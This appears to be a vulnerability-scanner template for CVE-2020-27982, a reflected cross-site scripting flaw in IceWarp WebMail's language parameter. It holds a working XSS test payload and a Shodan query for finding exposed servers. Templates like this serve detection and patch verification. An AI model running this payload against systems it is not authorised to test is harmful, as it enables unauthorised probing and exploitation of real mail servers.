id: CVE-2020-27982

info:
  name: IceWarp WebMail 11.4.5.0 - Cross-Site Scripting
  author: madrobot
  severity: medium
  description: IceWarp WebMail 11.4.5.0 is vulnerable to cross-site scripting via the language parameter.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of IceWarp WebMail.
  reference:
    - https://packetstormsecurity.com/files/159763/Icewarp-WebMail-11.4.5.0-Cross-Site-Scripting.html
    - https://cxsecurity.com/issue/WLB-2020100161
    - https://nvd.nist.gov/vuln/detail/CVE-2020-27982
    - http://packetstormsecurity.com/files/159763/Icewarp-WebMail-11.4.5.0-Cross-Site-Scripting.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-27982
    cwe-id: CWE-79
    epss-score: 0.00178
    epss-percentile: 0.54259
    cpe: cpe:2.3:a:icewarp:mail_server:11.4.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: icewarp
    product: mail_server
    shodan-query: title:"icewarp"
  tags: xss,icewarp,packetstorm,cve,cve2020

http:
  - method: GET
    path:
      - "{{BaseURL}}/webmail/?language=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img src=x onerror=alert(1)>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200